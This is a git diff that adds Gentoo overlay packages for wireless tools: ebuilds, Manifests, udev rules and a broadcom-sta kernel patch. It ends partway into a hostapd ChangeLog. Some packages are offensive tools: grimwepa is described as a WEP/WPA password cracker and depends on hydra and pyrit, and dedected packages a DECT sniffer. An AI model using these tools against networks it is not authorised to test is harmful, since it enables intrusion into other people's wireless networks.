++ .write = wl_proc_write,
++};
++#endif
++
+ static int
+ wl_reg_proc_entry(wl_info_t *wl)
+ {
+ char tmp[32];
+ sprintf(tmp, "%s%d", HYBRID_PROC, wl->pub->unit);
++#if LINUX_VERSION_CODE < KERNEL_VERSION(3, 10, 0)
+ if ((wl->proc_entry = create_proc_entry(tmp, 0644, NULL)) == NULL) {
+ WL_ERROR(("%s: create_proc_entry %s failed\n", __FUNCTION__, tmp));
++#else
++ if ((wl->proc_entry = proc_create(tmp, 0644, NULL, &wl_fops)) == NULL) {
++ WL_ERROR(("%s: proc_create %s failed\n", __FUNCTION__, tmp));
++#endif
+ ASSERT(0);
+ return -1;
+ }
++#if LINUX_VERSION_CODE < KERNEL_VERSION(3, 10, 0)
+ wl->proc_entry->read_proc = wl_proc_read;
+ wl->proc_entry->write_proc = wl_proc_write;
+ wl->proc_entry->data = wl;
++#endif
+ return 0;
+ }
+ #ifdef WLOFFLD
diff --git a/net-wireless/broadcom-sta/files/broadcom-sta-6.30.223.30-linux-3.9.0.patch b/net-wireless/broadcom-sta/files/broadcom-sta-6.30.223.30-linux-3.9.0.patch
new file mode 100644
index 00000000..a6e3d3d1
--- /dev/null
+++ b/net-wireless/broadcom-sta/files/broadcom-sta-6.30.223.30-linux-3.9.0.patch
@@ -0,0 +1,17 @@
+--- src.orig/wl/sys/wl_cfg80211_hybrid.c
++++ src/wl/sys/wl_cfg80211_hybrid.c
+@@ -2013,8 +2013,12 @@
+ ie_len = (size_t)(ies->len);
+ rcu_read_unlock();
+ #endif
+- cfg80211_put_bss(bss);
+- }
++#if LINUX_VERSION_CODE < KERNEL_VERSION(3, 9, 0)
++ cfg80211_put_bss(bss);
++#else
++ cfg80211_put_bss(wl_to_wiphy(wl), bss);
++#endif
++ }
+
+ tim = bcm_parse_tlvs(ie, ie_len, WLAN_EID_TIM);
+ if (tim) {
diff --git a/net-wireless/broadcom-sta/files/broadcom-sta-6.30.223.30-makefile.patch b/net-wireless/broadcom-sta/files/broadcom-sta-6.30.223.30-makefile.patch
new file mode 100644
index 00000000..09c495d2
--- /dev/null
+++ b/net-wireless/broadcom-sta/files/broadcom-sta-6.30.223.30-makefile.patch
@@ -0,0 +1,14 @@
+--- Makefile.old 2013-04-28 22:42:59.000000000 +0200
++++ Makefile 2013-04-28 22:45:53.000000000 +0200
+@@ -128,9 +128,9 @@
+
+ EXTRA_LDFLAGS := $(src)/lib/wlc_hybrid.o_shipped
+
+-KBASE ?= /lib/modules/`uname -r`
++KBASE ?= /lib/modules/${KV_FULL}
+ KBUILD_DIR ?= $(KBASE)/build
+-MDEST_DIR ?= $(KBASE)/kernel/drivers/net/wireless
++MDEST_DIR ?= ${D}$(KBASE)/kernel/drivers/net/wireless
+
+ all:
+ KBUILD_NOPEDANTIC=1 make -C $(KBUILD_DIR) M=`pwd`
diff --git a/net-wireless/broadcom-sta/metadata.xml b/net-wireless/broadcom-sta/metadata.xml
new file mode 100644
index 00000000..0a0d344a
--- /dev/null
+++ b/net-wireless/broadcom-sta/metadata.xml
@@ -0,0 +1,8 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE pkgmetadata SYSTEM "http://www.gentoo.org/dtd/metadata.dtd">
+<pkgmetadata>
+<maintainer>
+<email>matsuu@gentoo.org</email>
+</maintainer>
+</pkgmetadata>
+
diff --git a/net-wireless/crda/Manifest b/net-wireless/crda/Manifest
new file mode 100644
index 00000000..d4f8fa21
--- /dev/null
+++ b/net-wireless/crda/Manifest
@@ -0,0 +1,4 @@
+DIST crda-1.1.0.tar.bz2 21418 RMD160 56107c11c898d94db3b7d39e17ea9f53afc64ffb SHA1 1ab73f7df83aab511d484b6f8b959a96bd6ab1da SHA256 82695b11263e6b329b4789fbc6b43b7a2d91de667904767bd5d3e4a49556bfc1
+DIST crda-1.1.1.tar.bz2 21666 RMD160 035e381f6276dacd06afc05fbfefdbbf7e768091 SHA1 73643b3f49b34c4150df4abb793a36792cc68fb7 SHA256 59b4760da44a8f803caeaaa7fb97e0c6bd3f35f40445b28258e7f14c2fbe13b5
+EBUILD crda-1.1.0-r1.ebuild 1235 RMD160 3292753d2eb93f8b5c58be3a72ec7912c86c03b1 SHA1 c11d2f635823cc311e6981eb628606b242a80674 SHA256 889a8722ad807f3d4f053093c8b78334d9c15c647f5437933528190ae35612b7
+EBUILD crda-1.1.1.ebuild 905 RMD160 a908790ac379adffae983c25c23b6b0662d3b130 SHA1 91a578ecd725b06fa1dbf12a14dea3f7d319a478 SHA256 f0d2c90b8a747d45deff02fce2c8980326a0260d1206ea55f40242ce72ce9620
diff --git a/net-wireless/crda/crda-1.1.0-r1.ebuild b/net-wireless/crda/crda-1.1.0-r1.ebuild
new file mode 100644
index 00000000..4616d1f7
--- /dev/null
+++ b/net-wireless/crda/crda-1.1.0-r1.ebuild
@@ -0,0 +1,39 @@
+# Copyright 1999-2009 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: /var/cvsroot/gentoo-x86/net-wireless/crda/crda-1.0.1-r1.ebuild,v 1.2 2009/01/29 18:37:01 gentoofan23 Exp $
+
+inherit toolchain-funcs multilib
+
+DESCRIPTION="Central Regulatory Domain Agent for wireless networks."
+HOMEPAGE="http://wireless.kernel.org/en/developers/Regulatory"
+SRC_URI="http://wireless.kernel.org/download/crda/${P}.tar.bz2"
+LICENSE="as-is"
+SLOT="0"
+
+DESIRED_REGDB="20090817"
+KEYWORDS="amd64 ~ppc ~ppc64 x86"
+IUSE=""
+DEPEND="dev-libs/libgcrypt
+ dev-libs/libnl
+ dev-python/m2crypto
+ =net-wireless/wireless-regdb-${DESIRED_REGDB}"
+RDEPEND="dev-libs/libnl
+ =net-wireless/wireless-regdb-${DESIRED_REGDB}"
+# I am "pretty sure" about the rdepends
+
+src_unpack() {
+ unpack ${A}
+
+ ##Make sure we install the rules where udev rules go...
+ sed -i -e "/^UDEV_RULE_DIR/s:lib:$(get_libdir):" "${S}"/Makefile || die \
+ "Makefile sed failed"
+ cp /usr/lib/crda/custom-distro.key.pub.pem ${S}/pubkeys/ || die "please 'emerge -1 =wireless-regdb-${DESIRED_REGDB}', sorry"
+}
+
+src_compile() {
+ emake CC="$(tc-getCC)" || die "Compilation failed"
+}
+
+src_install() {
+ emake DESTDIR="${D}" install || die "emake install failed"
+}
diff --git a/net-wireless/crda/crda-1.1.1.ebuild b/net-wireless/crda/crda-1.1.1.ebuild
new file mode 100644
index 00000000..122c1262
--- /dev/null
+++ b/net-wireless/crda/crda-1.1.1.ebuild
@@ -0,0 +1,29 @@
+# Copyright 1999-2009 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+inherit toolchain-funcs multilib
+
+DESCRIPTION="Central Regulatory Domain Agent for wireless networks."
+HOMEPAGE="http://wireless.kernel.org/en/developers/Regulatory"
+SRC_URI="http://wireless.kernel.org/download/crda/${P}.tar.bz2"
+LICENSE="as-is"
+SLOT="0"
+
+KEYWORDS="amd64 ~ppc ~ppc64 x86"
+IUSE=""
+DEPEND="dev-libs/openssl
+ dev-libs/libgcrypt
+ dev-libs/libnl
+ dev-python/m2crypto"
+RDEPEND="dev-libs/libnl
+ dev-libs/openssl
+ net-wireless/wireless-regdb"
+
+src_compile() {
+ emake UDEV_RULE_DIR=/etc/udev/rules.d/ USE_OPENSSL=1 RUNTIME_PUBKEY_DIR=/usr/$(get_libdir)/crda/ CC="$(tc-getCC)" || die "Compilation failed"
+}
+
+src_install() {
+ emake UDEV_RULE_DIR=/etc/udev/rules.d/ USE_OPENSSL=1 RUNTIME_PUBKEY_DIR=/usr/$(get_libdir)/crda/ DESTDIR="${D}" install || die "emake install failed"
+}
diff --git a/net-wireless/dedected/Manifest b/net-wireless/dedected/Manifest
new file mode 100644
index 00000000..c0a8a93b
--- /dev/null
+++ b/net-wireless/dedected/Manifest
@@ -0,0 +1,3 @@
+AUX 99-dect.rules 199 RMD160 dc51d555bcadcd23aca50b5c572f349b22feba01 SHA1 33b80792030a8f8d56b251f5e6da3597099dc285 SHA256 e9830bd99bc043aea3a73c36bab444c9f608ce655c407361a732a2c12c3f1748
+AUX load-dect.sh 141 RMD160 ea6bc9921ce9dca7a68ea7731bb2f63d728163d9 SHA1 00aaabb1ea6a3ef09f442c54e4b9460f248a99b1 SHA256 51778dff87622940cd13e391888a64558cf7a66673f7585b6d7084fe3b4367c1
+EBUILD dedected-9999.ebuild 1401 RMD160 2c4682f065b901ab2e03da3cd271a1715c72264f SHA1 f4e5281528e9b35ca80dd2c1f114c56f9bfe195f SHA256 a73b4666c2a1bfe38f93fa537facf13b8505c710481bea2363d90b57a3bf7439
diff --git a/net-wireless/dedected/dedected-9999.ebuild b/net-wireless/dedected/dedected-9999.ebuild
new file mode 100644
index 00000000..506171a8
--- /dev/null
+++ b/net-wireless/dedected/dedected-9999.ebuild
@@ -0,0 +1,55 @@
+# Copyright 1999-2010 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+inherit toolchain-funcs linux-info linux-mod eutils subversion
+
+DESCRIPTION="DECT Sniffer"
+HOMEPAGE="https://dedected.org"
+SRC_URI=""
+ESVN_REPO_URI="https://dedected.org/svn/trunk/com-on-air_cs-linux/"
+
+LICENSE="GPL-2"
+SLOT="0"
+KEYWORDS="~amd64 ~ppc ~x86"
+IUSE=""
+
+DEPEND=""
+RDEPEND=""
+
+BUILD_TARGETS="default"
+BUILD_TARGET_ARCH="${ARCH}"
+MODULE_NAMES="com_on_air_cs(misc:${S})"
+
+pkg_config() {
+ linux-mod_pkg_setup
+ BUILD_PARAMS="KDIR=${KV_DIR}"
+}
+
+pkg_preinst() {
+ enewgroup dect
+}
+src_compile() {
+# KDIR="${KV_DIR}" emake || die "emake failed"
+ linux-mod_src_compile
+ KDIR="${KV_DIR}" emake -C tools || die "emake tools failed"
+ KDIR="${KV_DIR}" emake -C tools/dectshark || die "emake dectshark failed"
+
+}
+
+src_install () {
+# emake DESTDIR="${D}" install || die "emake install failed"
+ linux-mod_src_install
+ #we could add a group and when we add udev rules we may drop this stuff in bin instead
+ dosbin tools/coa_syncsniff tools/dect_cli tools/dump_dip tools/dump_eeprom
+ dosbin tools/pcap2cchan tools/pcapstein tools/dectshark/dectshark
+ insinto /etc/udev/rules.d/
+ doins "${FILESDIR}"/99-dect.rules
+ exeinto /lib/udev/
+ doexe "${FILESDIR}"/load-dect.sh
+}
+
+pkg_postinst() {
+ linux-mod_pkg_postinst
+ elog "If you want to sniff dect as a user add yourself to the dect group"
+}
diff --git a/net-wireless/dedected/files/99-dect.rules b/net-wireless/dedected/files/99-dect.rules
new file mode 100644
index 00000000..8c6dd2e7
--- /dev/null
+++ b/net-wireless/dedected/files/99-dect.rules
@@ -0,0 +1,2 @@
+ACTION=="add", SUBSYSTEM=="pcmcia", ATTRS{prod_id1}=="DECTDataDevice", RUN+="/lib/udev/load-dect.sh"
+ACTION=="add", SUBSYSTEM=="pcmcia", ATTRS{prod_id1}=="DOSCH-AMAND", RUN+="/lib/udev/load-dect.sh"
diff --git a/net-wireless/dedected/files/load-dect.sh b/net-wireless/dedected/files/load-dect.sh
new file mode 100644
index 00000000..d62f0bce
--- /dev/null
+++ b/net-wireless/dedected/files/load-dect.sh
@@ -0,0 +1,8 @@
+#!/bin/bash
+
+/lib/udev/load-modules.sh com_on_air_cs
+
+if [ ! -c /dev/coa ]; then
+ mknod /dev/coa --mode 660 c 3564 0
+ chgrp dect /dev/coa
+fi
diff --git a/net-wireless/desknfc/Manifest b/net-wireless/desknfc/Manifest
new file mode 100644
index 00000000..39b91569
--- /dev/null
+++ b/net-wireless/desknfc/Manifest
@@ -0,0 +1 @@
+EBUILD desknfc-9999.ebuild 456 RMD160 871abd34f1d95dd934e81eeeee002379b0538a0c SHA1 1e61a032b1a8692718189975c1a882a0de49d54b SHA256 5b95ac2ba621c9836f3deb06dc825d095f5ff96baf1bceb20fa5b551871f208a
diff --git a/net-wireless/desknfc/desknfc-9999.ebuild b/net-wireless/desknfc/desknfc-9999.ebuild
new file mode 100644
index 00000000..86be81c4
--- /dev/null
+++ b/net-wireless/desknfc/desknfc-9999.ebuild
@@ -0,0 +1,20 @@
+# Copyright 1999-2012 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+EAPI=4
+
+inherit kde4-base subversion
+
+DESCRIPTION="a KDE4 plasmoid which offer NFC content access"
+HOMEPAGE="https://code.google.com/p/nfc-tools/wiki/desknfc"
+SRC_URI=""
+ESVN_REPO_URI="http://nfc-tools.googlecode.com/svn/trunk/desknfc"
+
+LICENSE="GPL-3"
+SLOT="0"
+KEYWORDS="~amd64"
+IUSE=""
+
+DEPEND="dev-libs/libndef"
+RDEPEND="${DEPEND}"
diff --git a/net-wireless/gqrx/Manifest b/net-wireless/gqrx/Manifest
new file mode 100644
index 00000000..ca7fec6c
--- /dev/null
+++ b/net-wireless/gqrx/Manifest
@@ -0,0 +1 @@
+EBUILD gqrx-9999.ebuild 590 SHA256 2dc8f26457f745d771c9603018eecfd3934ee687131f43898e91a9afa788549b SHA512 0d14d3b2fc318cd852f98bb7b54d7ef156af38b3c455f76f7c2b08e0b99cd294b6e3b103495f14e4fbd0e03d19e88b267ad70ba13585dc1b2952a93192dd871c WHIRLPOOL 1606dc6eacc9b821bfb7ca0c294572d4392bf8224b161fed6170b0cc702f57f002ddfba72e57bc4d892159f51790f5167761b96e8b52394e18ec6a615a24f001
diff --git a/net-wireless/gqrx/gqrx-9999.ebuild b/net-wireless/gqrx/gqrx-9999.ebuild
new file mode 100644
index 00000000..2a62bc57
--- /dev/null
+++ b/net-wireless/gqrx/gqrx-9999.ebuild
@@ -0,0 +1,27 @@
+# Copyright 1999-2012 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+EAPI=5
+
+inherit qt4-r2 git-2
+
+DESCRIPTION="Software defined radio receiver powered by GNU Radio and Qt"
+HOMEPAGE="http://www.oz9aec.net/index.php/gnu-radio/gqrx-sdr"
+EGIT_REPO_URI="https://github.com/csete/gqrx.git"
+
+LICENSE="GPL-3"
+SLOT="0"
+KEYWORDS=""
+IUSE="uhd rtl fcd"
+
+DEPEND="net-wireless/gnuradio[fcd?]
+ rtl? ( net-wireless/rtl-sdr )
+ uhd? ( net-wireless/uhd )
+ net-wireless/gr-osmosdr
+ media-sound/pulseaudio"
+RDEPEND="${DEPEND}"
+
+src_install() {
+ dobin gqrx
+}
diff --git a/net-wireless/gr-air-modes/Manifest b/net-wireless/gr-air-modes/Manifest
new file mode 100644
index 00000000..6b165436
--- /dev/null
+++ b/net-wireless/gr-air-modes/Manifest
@@ -0,0 +1,3 @@
+AUX modes.py 164 SHA256 799f59a532004b1e69f69dc75a5f63689daae4b450c98b3c1a35bb95bac7aa15 SHA512 dc7837c115846d80e84b464cafc462dc0563567440761a18f4ca801ecfe604a5d4808a3e98e3f5d482dd275c8de5b363aa44d11244090db1e0557ee41fb933b8 WHIRLPOOL 6c144c3906a2a90053cb900f8822c4c478c9cb82259a0ddb87545195f6c6455e88f64f1f70233dc04bb03195f62355400226095710c818f89a9ce0d72e7b2dcb
+AUX rtl_modes.py 45 SHA256 9a0c8154aa3311601bb22885f5b0e4206de0173e99e03f198dae133532f085f3 SHA512 bf3fb60e1885b85adf5a6cd9306e2a874d7b38666484649b70202b959086e9c8b95bdd6cbaa3605000ebb2693c7630e5bb88b3e8d7aa4cd5ff97261c5060cb34 WHIRLPOOL c25c7dbc3f5bcd1929587c9961c81ad9efc899683930f1ab6137a13cc3475ea74463f0028ca4451be263fecd1b7760126f45a8275730cf46ebedff8e389052df
+EBUILD gr-air-modes-9999.ebuild 1028 SHA256 be60042343786cfff7aa0c19db025ec8bec81a54c6297cfa713dae1173bed10e SHA512 a0da90740c91f8c5599e87b8de7a560bf1b0bde9ff8455ade28e349c9f84eac0720ff07eacc366fe8b0eb807c3235fbf9c7be3e8e9b39b13141d7574915946cf WHIRLPOOL ce65a0127bb6f8c1c67b1eae8c45831e99bf9cd50a091aebaebfa09ead0edf0846f29d6ed1f53f8a4812f77f868dd9c6271a5f9b7074a4e07bb1b833e4e3ce01
diff --git a/net-wireless/gr-air-modes/files/modes.py b/net-wireless/gr-air-modes/files/modes.py
new file mode 100644
index 00000000..511acbef
--- /dev/null
+++ b/net-wireless/gr-air-modes/files/modes.py
@@ -0,0 +1,6 @@
+#!/bin/sh
+echo "Please call modes_rx or modes_gui instead of $0 directly"
+if [ "$0" == "rtl_modes.py" ]
+then
+ echo "for rtl devices remember to use the -d flag"
+fi
diff --git a/net-wireless/gr-air-modes/files/rtl_modes.py b/net-wireless/gr-air-modes/files/rtl_modes.py
new file mode 100644
index 00000000..60836aef
--- /dev/null
+++ b/net-wireless/gr-air-modes/files/rtl_modes.py
@@ -0,0 +1,2 @@
+#!/bin/sh
+python /usr/bin/uhd_modes.py -d $@
diff --git a/net-wireless/gr-air-modes/gr-air-modes-9999.ebuild b/net-wireless/gr-air-modes/gr-air-modes-9999.ebuild
new file mode 100644
index 00000000..cdba5710
--- /dev/null
+++ b/net-wireless/gr-air-modes/gr-air-modes-9999.ebuild
@@ -0,0 +1,43 @@
+# Copyright 1999-2012 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+EAPI=4
+inherit python cmake-utils git-2
+
+DESCRIPTION="This module implements a complete Mode S and ADS-B receiver for Gnuradio"
+HOMEPAGE="https://www.cgran.org/wiki/gr-air-modes"
+
+EGIT_REPO_URI="https://github.com/bistromath/gr-air-modes.git"
+#EGIT_BRANCH="master"
+#EGIT_BRANCH="qtapp"
+
+KEYWORDS=""
+
+LICENSE="GPL-3"
+SLOT="0"
+IUSE="rtl fgfs +gui uhd"
+DEPEND=">=net-wireless/gnuradio-3.6.1
+ net-wireless/gr-osmosdr
+ fgfs? ( sci-libs/scipy
+ games-simulation/flightgear )
+ rtl? ( net-wireless/rtl-sdr )
+ uhd? ( >=net-wireless/uhd-3.4.0 )
+ gui? ( dev-python/pyqwt )"
+RDEPEND="${DEPEND}"
+
+pkg_setup() {
+ python_set_active_version 2
+ python_pkg_setup
+}
+
+src_compile() {
+ cmake-utils_src_compile -j1
+}
+
+src_install() {
+ cmake-utils_src_install
+ python_convert_shebangs 2 "${ED}"usr/bin/*
+ use rtl && newbin "${FILESDIR}"/modes.py rtl_modes.py
+ use uhd && newbin "${FILESDIR}"/modes.py uhd_modes.py
+}
diff --git a/net-wireless/grimwepa/Manifest b/net-wireless/grimwepa/Manifest
new file mode 100644
index 00000000..11ce8f0c
--- /dev/null
+++ b/net-wireless/grimwepa/Manifest
@@ -0,0 +1,5 @@
+AUX grimwepa.conf 159 RMD160 ec221c1b69ddc2b1a1e5f44e55d5dbeb3e26992b SHA1 972c69fa37082244785226b7686472f68f4360c2 SHA256 ba77016d42d034bc6ebce02999df87d5e2372e79acb0698e885841c0b4eacdbe
+AUX grimwepa.desktop 214 RMD160 8cbf25d885835fd0528408786788bbbce1badd77 SHA1 0855de52f0f7773104091dd2297722db837a485f SHA256 c0ea5b062d2ed5afadc5d3912ad401578ed33d37a6f9150ae1dfaf3db84e7943
+AUX grimwepa.sh 50 RMD160 883af2f0cc99cf75d40835ffe1da353a8f78777d SHA1 083f8af4321b5390c64942623746a613f40deef3 SHA256 b442447d20dcc1aa7367b3555375caa330da287fe8764638f73b56bc64007a95
+DIST grimwepa1.10a5.jar 325850 RMD160 12f854075bfcc2544d28d8d99546f1148e8c449d SHA1 8bc01a65d05336cb09a7f4dfdc8237f34b58203b SHA256 7f00b11e1d790404afe229019722b0847a7d0c9d7013a3cdd1cb45212734abe1
+EBUILD grimwepa-1.10_p5-r100.ebuild 955 RMD160 939b803cac126669340a8a31a6fec1fd6dca515d SHA1 c1e592fab3ab36c383083520ecae5d931a62184d SHA256 013c18f37c3a60b45ba408ec4505cc53d21e037676fd72a9d9eb20c3771fb756
diff --git a/net-wireless/grimwepa/files/grimwepa.conf b/net-wireless/grimwepa/files/grimwepa.conf
new file mode 100644
index 00000000..48037414
--- /dev/null
+++ b/net-wireless/grimwepa/files/grimwepa.conf
@@ -0,0 +1,12 @@
+iface select one:
+channel 6
+allchan false
+targettimeout 3
+wpatimeout 10
+wpaword [default wordlist]
+wepattack 0
+xterm false
+irate 600
+color 2
+wpamethod 0
+shown
diff --git a/net-wireless/grimwepa/files/grimwepa.desktop b/net-wireless/grimwepa/files/grimwepa.desktop
new file mode 100644
index 00000000..d609a1d2
--- /dev/null
+++ b/net-wireless/grimwepa/files/grimwepa.desktop
@@ -0,0 +1,14 @@
+[Desktop Entry]
+Comment=
+Exec=grimwepa
+GenericName=
+Icon=cache
+Name=GrimWepa
+Path=
+StartupNotify=true
+Terminal=0
+TerminalOptions=
+Type=Application
+X-KDE-SubstituteUID=false
+X-KDE-Username=
+Categories=Java;Utility;
diff --git a/net-wireless/grimwepa/files/grimwepa.sh b/net-wireless/grimwepa/files/grimwepa.sh
new file mode 100644
index 00000000..1e5f06e0
--- /dev/null
+++ b/net-wireless/grimwepa/files/grimwepa.sh
@@ -0,0 +1,3 @@
+#!/bin/sh
+
+exec java -jar /usr/lib/grimwepa.jar &
diff --git a/net-wireless/grimwepa/grimwepa-1.10_p5-r100.ebuild b/net-wireless/grimwepa/grimwepa-1.10_p5-r100.ebuild
new file mode 100644
index 00000000..14a95d29
--- /dev/null
+++ b/net-wireless/grimwepa/grimwepa-1.10_p5-r100.ebuild
@@ -0,0 +1,36 @@
+# Copyright 1999-2007 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: /var/cvsroot/gentoo-x86/net-proxy/webscarab/webscarab-20070504.ebuild,v 1.1 2007/06/17 16:14:46 mrness Exp $
+
+EAPI="2"
+
+inherit eutils
+
+DESCRIPTION="A password cracker for both WEP and WPA-encrypted access points"
+HOMEPAGE="http://code.google.com/p/grimwepa/"
+SRC_URI="http://grimwepa.googlecode.com/files/grimwepa1.10a5.jar"
+
+LICENSE="GPL-3"
+SLOT="0"
+KEYWORDS="~amd64 ~x86"
+IUSE="+wep +extra"
+
+# pyrit, gpu attack, FIXME use flag
+
+DEPEND=">=virtual/jre-1.5
+ net-wireless/wpa_supplicant
+ wep? ( net-analyzer/macchanger )
+ extra? ( app-crypt/crunch
+ net-analyzer/wireshark
+ net-analyzer/hydra
+ app-crypt/pyrit )"
+RDEPEND="${DEPEND}"
+
+src_install() {
+ newbin "${FILESDIR}/${PN}.sh" "${PN}"
+ insinto /usr/lib
+ newins "${DISTDIR}/${A}" "${PN}.jar"
+ insinto /etc
+ doins "${FILESDIR}"/grimwepa.conf
+ domenu "${FILESDIR}"/grimwepa.desktop
+}
diff --git a/net-wireless/haraldscan/Manifest b/net-wireless/haraldscan/Manifest
new file mode 100644
index 00000000..c211229a
--- /dev/null
+++ b/net-wireless/haraldscan/Manifest
@@ -0,0 +1,4 @@
+AUX haraldscan-maclist-path.patch 334 SHA256 70b53227f075425fec36314095d21962e3dd0e01cfb3525e3d093fa6c04547cd SHA512 2fce2b26c536f3849313d1d0243ab31cd01e4a787ffeb1c870c86db57203ae71143e23b9e4edcd2079d34853c09e5e603b88a41f670b0e05a6c7bdd3d9739d9f WHIRLPOOL ddb989a3cff3addbeb9cab6ea580eafab8e22ad4051275edcb1162c952bc503044321f75d38d5d000ba2a8603117a89927a2296c76c0654ddf28ef090163fde0
+DIST MACLIST 10369 SHA256 335582afd0e87d97cc5856ffb8bc296b169955d367309f8d40ec8db96e27c7b6 SHA512 aa73ec9945ea0af033a40d496c834c694ac6c9359db2b1fa01a7475f7602d1b96ecf6aca4978e656a46b727c0991146157c3fe4e32a4e1cb0a5715017e3d1a57 WHIRLPOOL 684a209fee50f713bb3529292dc4a6a934c6305ab506351f30c74b91b092bbda8446a958a9ec33e943d7329b52b09452ac9d0864ddaaa40317fd993b1a22ca63
+DIST haraldscan-src-0.41.tar.gz 44183 SHA256 86e4620d92725b480cd956f91746457484c746062ffc22ea57e5cc58fd10b53e SHA512 ed823c78b5664c7b515c4964c7570453f9c5595c4f61c3daf4fb8c7c8a154ab8352226b70a9dbc2a1a03563fcae6a0d93d08ecd79ee730fcf19b087b31ef7d31 WHIRLPOOL 1a99b13498104e30fb2b4883a5b8b3e3ca19ae605ed8963651b6921f3a5c89785ff0233efb5ea8b36f6e055ccd812087310099fc2c89937bbe97cc18d2e9fc07
+EBUILD haraldscan-0.41.ebuild 1209 SHA256 56411020a7aeae6351c5c0345e8898b365d97893dd0c6afb2c43911ee5b640e4 SHA512 61a4dcb7342fb079d1c16573416b61878b4fe24d372e0f8bc50a61bf556bbfb1f4c333fe9d05955347b7bcd27c4d9c32f53d028d199df35fd5d7cc64970d10cd WHIRLPOOL 80758ceddb96c826f638d8136252a02c119d38b4740b4c6046411726b61e02b0442ce814f826a88dc4724417ed2dbdde58ad49393ba9c141d6da774ff5675e63
diff --git a/net-wireless/haraldscan/files/haraldscan-maclist-path.patch b/net-wireless/haraldscan/files/haraldscan-maclist-path.patch
new file mode 100644
index 00000000..3ef80ee0
--- /dev/null
+++ b/net-wireless/haraldscan/files/haraldscan-maclist-path.patch
@@ -0,0 +1,11 @@
+--- a/haraldmodules/haraldupdate.py 2010-01-15 15:01:44.939988340 +0100
++++ b/haraldmodules/haraldupdate.py 2010-01-15 15:01:58.978014426 +0100
+@@ -35,7 +35,7 @@
+ llines = 0
+
+
+- flocal = open('MACLIST', 'rb')
++ flocal = open('/usr/share/haraldscan/MACLIST', 'rb')
+
+ for line in flocal:
+ llines+=1
diff --git a/net-wireless/haraldscan/haraldscan-0.41.ebuild b/net-wireless/haraldscan/haraldscan-0.41.ebuild
new file mode 100644
index 00000000..e4579fb8
--- /dev/null
+++ b/net-wireless/haraldscan/haraldscan-0.41.ebuild
@@ -0,0 +1,59 @@
+# Copyright 1999-2010 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+EAPI="4"
+
+PYTHON_DEPEND="2"
+
+inherit python eutils
+
+DESCRIPTION="A Bluetooth discovery scanner"
+HOMEPAGE="http://code.google.com/p/haraldscan/"
+SRC_URI="http://haraldscan.googlecode.com/files/${PN}-src-${PV}.tar.gz
+ http://haraldscan.googlecode.com/svn/trunk/MACLIST"
+
+LICENSE="GPL-3"
+SLOT="0"
+KEYWORDS="~amd64 ~x86"
+IUSE=""
+
+DEPEND="$RDEPEND"
+RDEPEND="dev-python/pybluez"
+
+#S="${WORKDIR}"/${PN}-${PV}
+
+pkg_setup() {
+ python_set_active_version 2
+ python_pkg_setup
+}
+
+src_unpack() {
+ mkdir "${S}"
+ cd "${S}"
+ unpack ${A}
+ cd "${S}"
+}
+src_prepare() {
+ epatch "${FILESDIR}"/haraldscan-maclist-path.patch
+}
+src_install() {
+ insinto $(python_get_sitedir)/haraldmodules
+ doins haraldmodules/*.py
+ dobin haraldscan.py
+ insinto /usr/share/haraldscan
+# doins MACLIST
+ cp "${DISTDIR}"/MACLIST "${D}"/usr/share/${PN}/
+ dodoc doc/README
+}
+
+pkg_postinst() {
+ python_mod_optimize haraldmodules
+# einfo "Updating MAC database..."
+# haraldscan.py -u >/dev/null 2>&1 || true
+ elog "Run 'haraldscan.py -u' to create macinfo.db in a current directory"
+}
+
+pkg_postrm() {
+ python_mod_cleanup haraldmodules
+}
diff --git a/net-wireless/horst/Manifest b/net-wireless/horst/Manifest
new file mode 100644
index 00000000..aaf44c9d
--- /dev/null
+++ b/net-wireless/horst/Manifest
@@ -0,0 +1,2 @@
+DIST horst-3.0.tar.gz 63179 RMD160 9fb84a68baef5a09a5bb6f7a433ddc967fb3ae90 SHA1 b7bf94f819285c3d0e79d0fba921ab8221cc6e47 SHA256 7d8de85ff8715f3bea7ccecc0382e2d3c48bccce4be6dee5f1d0d15447776cc8
+EBUILD horst-3.0.ebuild 553 RMD160 4d677bd11488714f238cc405e5bcb4909285ab78 SHA1 46c27db06a6bec346b7103b9764d634714b6ec70 SHA256 b7e358ace47d2c4f7685240b9843ad211af3b70cfdd6dffdfbb191c8bcfc07f6
diff --git a/net-wireless/horst/horst-3.0.ebuild b/net-wireless/horst/horst-3.0.ebuild
new file mode 100644
index 00000000..6a990ab6
--- /dev/null
+++ b/net-wireless/horst/horst-3.0.ebuild
@@ -0,0 +1,31 @@
+# Copyright 1999-2012 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+EAPI=4
+
+DESCRIPTION="Small 802.11 wireless LAN analyzer"
+HOMEPAGE="http://br1.einfach.org/tech/horst/"
+SRC_URI="http://br1.einfach.org/horst_dl/${P}.tar.gz"
+
+LICENSE="GPL-2"
+SLOT="0"
+KEYWORDS="~amd64 ~arm ~x86"
+IUSE="+pcap"
+
+DEPEND="sys-libs/ncurses
+ pcap? ( net-libs/libpcap )"
+RDEPEND="${DEPEND}"
+
+src_compile() {
+ if use pcap; then
+ emake PCAP=1
+ else
+ emake
+ fi
+}
+
+src_install() {
+ dosbin horst
+ dodoc ChangeLog README TODO
+}
diff --git a/net-wireless/hostapd/ChangeLog b/net-wireless/hostapd/ChangeLog
new file mode 100644
index 00000000..f0e55f20
--- /dev/null
+++ b/net-wireless/hostapd/ChangeLog
@@ -0,0 +1,579 @@
+# ChangeLog for net-wireless/hostapd
+# Copyright 1999-2011 Gentoo Foundation; Distributed under the GPL v2
+# $Header: /var/cvsroot/gentoo-x86/net-wireless/hostapd/ChangeLog,v 1.110 2011/04/21 13:53:15 tomka Exp $
+
+ 21 Apr 2011; Thomas Kahle <tomka@gentoo.org> hostapd-0.7.3.ebuild:
+ x86 stable per bug 360997
+
+ 29 Mar 2011; Christoph Mende <angelos@gentoo.org> hostapd-0.7.3.ebuild:
